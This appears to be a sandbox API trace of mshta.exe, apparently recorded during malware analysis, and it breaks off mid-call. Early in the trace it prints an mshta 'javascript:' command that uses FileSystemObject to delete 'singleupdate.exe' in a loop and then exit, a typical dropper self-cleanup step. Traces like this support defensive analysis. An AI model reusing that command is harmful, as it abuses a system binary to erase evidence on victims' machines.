[0219.919] RegisterClassW (lpWndClass=0xcffa50) returned 0xc16c [0219.919] CreateWindowExW (dwExStyle=0x0, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1320000, lpParam=0x7387f498) returned 0x5020c [0220.469] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x24, wParam=0x0, lParam=0xcff60c) returned 0x0 [0220.469] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x81, wParam=0x0, lParam=0xcff600) returned 0x1 [0220.474] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x83, wParam=0x0, lParam=0xcff5ec) returned 0x0 [0220.798] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x1, wParam=0x0, lParam=0xcff600) returned 0x0 [0220.800] CreateWindowExW (dwExStyle=0x40000, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x5020c, hMenu=0x0, hInstance=0x1320000, lpParam=0x7387f498) returned 0x30218 [0220.800] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x24, wParam=0x0, lParam=0xcff60c) returned 0x0 [0220.800] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x81, wParam=0x0, lParam=0xcff600) returned 0x1 [0220.801] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x83, wParam=0x0, lParam=0xcff5ec) returned 0x0 [0220.802] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x1, wParam=0x0, lParam=0xcff600) returned 0x0 [0220.804] SetWindowLongW (hWnd=0x30218, nIndex=-16, dwNewLong=-2100363264) returned 114229248 [0220.804] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x7c, wParam=0xfffffff0, lParam=0xcffa24) returned 0x0 [0220.804] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x7d, wParam=0xfffffff0, lParam=0xcffa24) returned 0x0 [0220.807] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0220.807] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0220.808] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0220.808] SetWindowPos (hWnd=0x30218, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0220.808] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x46, wParam=0x0, lParam=0xcffa34) returned 0x0 [0220.808] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x83, wParam=0x1, lParam=0xcffa0c) returned 0x0 [0220.809] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x47, wParam=0x0, lParam=0xcffa34) returned 0x0 [0220.810] SendMessageW (hWnd=0x30218, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0220.810] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0220.810] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0220.810] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x12c) returned 0xfd09e0 [0220.810] PathGetArgsW (pszPath="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"") returned="" [0220.811] wcsncmp (_String1="", _String2="{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}", _MaxCount=0x26) returned -123 [0220.811] LdrResolveDelayLoadedAPI () returned 0x75f73da0 [0220.811] PathRemoveArgsW (in: pszPath="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"" | out: pszPath="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"") [0220.811] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x12c) returned 0xfd0b18 [0220.811] RtlReAllocateHeap (Heap=0xfb0000, Flags=0x0, Ptr=0xfd0b18, Size=0x12e) returned 0xfd0b18 [0220.811] memcpy_s (in: _Destination=0xfd0c42, _DestinationSize=0x2, _Source=0xcffa82, _SourceSize=0x2 | out: _Destination=0xfd0c42) returned 0x0 [0220.811] RtlReAllocateHeap (Heap=0xfb0000, Flags=0x0, Ptr=0xfc4d28, Size=0x12e) returned 0xfc4d28 [0220.811] PathRemoveBlanksW (in: pszPath="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"" | out: pszPath="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"") [0220.811] PathUnquoteSpacesW (in: lpsz="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"" | out: lpsz="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 1 [0220.811] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd0b18 | out: hHeap=0xfb0000) returned 1 [0220.811] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ppmk=0xcffa9c*=0x0, dwFlags=0x1 | out: ppmk=0xcffa9c*=0xfbd710) returned 0x0 [0221.090] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0221.090] CoIncrementMTAUsage (in: pCookie=0xcfe24c | out: pCookie=0xcfe24c) returned 0x0 [0221.123] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd09e0 | out: hHeap=0xfb0000) returned 1 [0221.123] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfcf470 [0221.125] CoCreateInstance (in: rclsid=0x72908248*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x72880548*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x7387f4ec | out: ppv=0x7387f4ec*=0x4c20000) returned 0x0 [0221.126] DllGetClassObject (in: rclsid=0xfbd6b4*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfeb14 | out: ppv=0xcfeb14*=0x7376b52c) returned 0x0 [0221.182] IClassFactory:CreateInstance (in: This=0x7376b52c, pUnkOuter=0x0, riid=0xcff584*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xcfeafc | out: ppvObject=0xcfeafc*=0x4c20000) returned 0x0 [0221.182] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x15c) returned 0x4d6e7b0 [0221.182] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0221.182] VirtualAlloc (lpAddress=0x4c10000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c10000 [0221.182] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x27c) returned 0x4d6e918 [0221.182] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0221.183] VirtualAlloc (lpAddress=0x4c0a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c0a000 [0221.226] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xb0) returned 0x4d6eba0 [0221.226] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0221.226] VirtualAlloc (lpAddress=0x4c0c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c0c000 [0221.226] RegisterClassExW (param_1=0xcfe968) returned 0xc0f5 [0221.226] CreateWindowExW (dwExStyle=0x8000080, lpClassName=0xc0f5, lpWindowName=0x0, dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x726c0000, lpParam=0x0) returned 0x3020e [0221.227] GetWindowLongW (hWnd=0x3020e, nIndex=-20) returned 134217856 [0221.227] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x81, wParam=0x0, lParam=0xcfe5b8) returned 0x1 [0221.227] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x83, wParam=0x0, lParam=0xcfe5a4) returned 0x0 [0221.227] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x1, wParam=0x0, lParam=0xcfe5b8) returned 0x0 [0221.228] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0221.228] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0221.228] ShowWindow (hWnd=0x3020e, nCmdShow=8) returned 0 [0221.228] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.228] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x46, wParam=0x0, lParam=0xcfea04) returned 0x0 [0221.230] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x47, wParam=0x0, lParam=0xcfea04) returned 0x0 [0221.231] SetWindowPos (hWnd=0x3020e, hWndInsertAfter=0x1, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0221.231] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x46, wParam=0x0, lParam=0xcfe9ec) returned 0x0 [0221.232] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x47, wParam=0x0, lParam=0xcfe9ec) returned 0x0 [0221.232] GetModuleHandleW (lpModuleName="ext-ms-win-rtcore-ntuser-window-ext-l1-1-0") returned 0x74b70000 [0221.232] GetProcAddress (hModule=0x74b70000, lpProcName="SetCoalescableTimer") returned 0x74ba3c80 [0221.232] CreateCompatibleDC (hdc=0x0) returned 0xa0010721 [0221.232] GetDeviceCaps (hdc=0xa0010721, index=88) returned 96 [0221.232] GetCurrentProcess () returned 0xffffffff [0221.233] GetSystemMetrics (nIndex=1) returned 900 [0221.233] GetSystemMetrics (nIndex=0) returned 1440 [0221.233] GetSystemMetrics (nIndex=68) returned 4 [0221.233] GetSystemMetrics (nIndex=69) returned 4 [0221.233] GetSystemMetrics (nIndex=2) returned 17 [0221.233] GetSystemMetrics (nIndex=3) returned 17 [0221.233] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xcfe7e8, fWinIni=0x0 | out: pvParam=0xcfe7e8) returned 1 [0221.233] CreateFontIndirectW (lplf=0xcfe980) returned 0x540a06fb [0221.233] SelectObject (hdc=0xa0010721, h=0x540a06fb) returned 0x8a01c2 [0221.233] GetTextMetricsW (in: hdc=0xa0010721, lptm=0xcfea04 | out: lptm=0xcfea04) returned 1 [0221.234] SelectObject (hdc=0xa0010721, h=0x8a01c2) returned 0x540a06fb [0221.234] DeleteObject (ho=0x540a06fb) returned 1 [0221.234] GetSystemDefaultLCID () returned 0x409 [0221.234] GetUserDefaultLCID () returned 0x409 [0221.234] GetACP () returned 0x4e4 [0221.234] GetLocaleInfoW (in: Locale=0x400, LCType=0x20001014, lpLCData=0xcfe9c8, cchData=2 | out: lpLCData="\x01") returned 2 [0221.235] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0xcfe9cc, cchData=11 | out: lpLCData="0123456789") returned 11 [0221.235] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x7388a990, fWinIni=0x0 | out: pvParam=0x7388a990) returned 1 [0221.235] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0xcfe9dc, fWinIni=0x0 | out: pvParam=0xcfe9dc) returned 1 [0221.235] LdrResolveDelayLoadedAPI () returned 0x745825a0 [0221.235] IsAppThemed () returned 0x1 [0221.235] SystemParametersInfoW (in: uiAction=0x1042, uiParam=0x0, pvParam=0x7377879c, fWinIni=0x0 | out: pvParam=0x7377879c) returned 1 [0221.235] SystemParametersInfoW (in: uiAction=0x103e, uiParam=0x0, pvParam=0x73778798, fWinIni=0x0 | out: pvParam=0x73778798) returned 1 [0221.235] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x9c) returned 0x4d6ec58 [0221.235] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0221.235] VirtualAlloc (lpAddress=0x4c0e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c0e000 [0221.236] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xa8) returned 0x4d6ed00 [0221.236] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0221.236] VirtualAlloc (lpAddress=0x4c18000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c18000 [0221.236] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xe4) returned 0x4d6edb0 [0221.236] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0221.236] VirtualAlloc (lpAddress=0x4c1a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c1a000 [0221.237] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xd0) returned 0xfc7270 [0221.237] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x250 [0221.237] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x8) returned 0xfd0c28 [0221.237] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x254 [0221.237] GetCurrentThreadId () returned 0xe0 [0221.237] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xb4) returned 0x4d6eea0 [0221.237] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0221.237] VirtualAlloc (lpAddress=0x4c1c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c1c000 [0221.238] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x14) returned 0xfd1570 [0221.238] GetSystemWindowsDirectoryW (in: lpBuffer=0xcfe870, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0221.238] CreateActCtxW (pActCtx=0xcfe850) returned 0xfd27b4 [0221.327] ActivateActCtx (in: hActCtx=0xfd27b4, lpCookie=0xcfe81c | out: hActCtx=0xfd27b4, lpCookie=0xcfe81c) returned 1 [0221.327] LoadLibraryExW (lpLibFileName="comctl32.dll", hFile=0x0, dwFlags=0x0) returned 0x72440000 [0222.313] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1d460001) returned 1 [0222.313] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x304) returned 0x4d72650 [0222.313] GetCurrentProcess () returned 0xffffffff [0222.313] GetCurrentThread () returned 0xfffffffe [0222.313] GetCurrentProcess () returned 0xffffffff [0222.313] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x4d72680, dwDesiredAccess=0x10004a, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x4d72680*=0x264) returned 1 [0222.313] GetCurrentThreadId () returned 0xe0 [0222.313] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x260 [0222.313] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x268 [0222.313] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x26c [0222.313] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x270 [0222.313] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x274 [0222.313] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x72ca4fe0, _ArgList=0x4d64d50, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x278 [0222.314] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcfe9e0*=0x270, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.316] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x27c [0222.316] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x280 [0222.316] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x72ca4fe0, _ArgList=0x4d64d78, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x284 [0222.317] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcfe9e0*=0x27c, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.321] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x72ca3990, _ArgList=0x4d606d8, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x288 [0222.322] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcfea04*=0x260, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0222.328] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32 [0222.328] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0222.329] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32 [0222.329] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xcfe8a0, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0222.329] PathFindFileNameW (pszPath="C:\\WINDOWS\\SysWOW64\\mshta.exe") returned="mshta.exe" [0222.329] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x14) returned 0xfd13d0 [0222.329] IsInternetESCEnabled () returned 0x0 [0222.329] RegGetValueW (in: hkey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", lpValue="NoFileMenu", dwFlags=0xffff, pdwType=0xcfe88c, pvData=0xcfe890, pcbData=0xcfe894*=0x4 | out: pdwType=0xcfe88c*=0x0, pvData=0xcfe890, pcbData=0xcfe894*=0x4) returned 0x2 [0222.338] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x144) returned 0x4d72960 [0222.338] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0222.338] VirtualAlloc (lpAddress=0x4c20000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c20000 [0222.339] QueryPerformanceFrequency (in: lpFrequency=0xcfea4c | out: lpFrequency=0xcfea4c*=100000000) returned 1 [0222.339] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x17c) returned 0x4d72ab0 [0222.340] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0222.340] VirtualAlloc (lpAddress=0x4c1e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c1e000 [0222.340] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xd4) returned 0x4d72c38 [0222.340] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0222.340] VirtualAlloc (lpAddress=0x4c28000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c28000 [0222.341] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x158) returned 0x4d72d18 [0222.341] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0222.341] VirtualAlloc (lpAddress=0x4c30000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c30000 [0222.341] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0222.341] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0222.342] GetCurrentThreadId () returned 0xe0 [0222.342] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xfc) returned 0x4d72e78 [0222.342] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0222.342] VirtualAlloc (lpAddress=0x4c2a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c2a000 [0222.342] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xbc) returned 0x4d72f80 [0222.342] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0222.342] VirtualAlloc (lpAddress=0x4c2c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c2c000 [0222.343] RegisterClipboardFormatW (lpszFormat="WM_HTML_GETOBJECT") returned 0xc0f6 [0222.476] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x7387cc88, dwReserved=0x0 | out: ppSM=0x7387cc88*=0xfd02b0) returned 0x0 [0222.478] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xc8) returned 0x4d73048 [0222.478] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0222.478] VirtualAlloc (lpAddress=0x4c2e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c2e000 [0222.479] InitOnceExecuteOnce (in: InitOnce=0x73882118, InitFn=0x72d7dde0, Parameter=0x0, Context=0x0 | out: InitOnce=0x73882118, Parameter=0x0, Context=0x0) returned 1 [0222.479] GetCurrentProcess () returned 0xffffffff [0222.479] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xcfe9e8 | out: TokenHandle=0xcfe9e8*=0x2a4) returned 1 [0222.479] LdrResolveDelayLoadedAPI () returned 0x7239a560 [0223.033] SrpGetEnterpriseIds () returned 0x0 [0223.033] CloseHandle (hObject=0x2a4) returned 1 [0223.034] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x60) returned 0xfd3dc8 [0223.034] GetDoubleClickTime () returned 0x1f4 [0223.034] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb [0223.036] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x14c) returned 0x4d73118 [0223.036] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.036] VirtualAlloc (lpAddress=0x4c38000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c38000 [0223.037] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xa0) returned 0x4d73270 [0223.037] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.037] VirtualAlloc (lpAddress=0x4c40000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c40000 [0223.039] memcpy_s (in: _Destination=0x4c18180, _DestinationSize=0xb8, _Source=0xcfe100, _SourceSize=0xb8 | out: _Destination=0x4c18180) returned 0x0 [0223.052] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x154) returned 0x4d73318 [0223.052] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.052] VirtualAlloc (lpAddress=0x4c48000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c48000 [0223.053] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x94) returned 0x4d73478 [0223.053] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.053] VirtualAlloc (lpAddress=0x4c42000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c42000 [0223.059] memcpy_s (in: _Destination=0x4c42000, _DestinationSize=0x158, _Source=0xcfe218, _SourceSize=0x158 | out: _Destination=0x4c42000) returned 0x0 [0223.059] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x168) returned 0x4d73518 [0223.059] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.059] VirtualAlloc (lpAddress=0x4c50000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c50000 [0223.068] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x90) returned 0x4d73688 [0223.074] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.074] VirtualAlloc (lpAddress=0x4c44000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c44000 [0223.075] GetCurrentThreadId () returned 0xe0 [0223.075] LdrResolveDelayLoadedAPI () returned 0x7266c0d0 [0223.076] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0xcfe594 | out: ppURI=0xcfe594*=0xfd100c) returned 0x0 [0223.077] IUri:GetPropertyDWORD (in: This=0xfd100c, uriProp=0x11, pdwProperty=0xcfe564, dwFlags=0x0 | out: pdwProperty=0xcfe564*=0x11) returned 0x0 [0223.077] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0xcfe534, dwReserved=0x0 | out: ppSM=0xcfe534*=0xfd0030) returned 0x0 [0223.077] IUnknown:QueryInterface (in: This=0xfd0030, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0xcfe538 | out: ppvObject=0xcfe538*=0xfd0030) returned 0x0 [0223.077] IUnknown:Release (This=0xfd0030) returned 0x1 [0223.077] IInternetSecurityManager:SetSecuritySite (This=0xfd0030, pSite=0x4c20e04) returned 0x0 [0223.077] IUnknown:AddRef (This=0x4c20e04) returned 0x28 [0223.078] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0223.091] DllGetClassObject (in: rclsid=0xfbd1f4*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0xcfd9d4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfcfe4 | out: ppv=0xcfcfe4*=0x7376ba90) returned 0x0 [0223.092] IUnknown:AddRef (This=0x7376ba90) returned 0x1 [0223.092] IUnknown:Release (This=0x7376ba90) returned 0x1 [0223.092] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xcfdc8c | out: ppvObject=0xcfdc8c*=0x7376ba90) returned 0x0 [0223.092] IUnknown:Release (This=0x7376ba90) returned 0x1 [0223.092] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfdedc | out: ppvObject=0xcfdedc*=0x7376ba9c) returned 0x0 [0223.092] IUnknown:Release (This=0x7376ba90) returned 0x1 [0223.092] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, 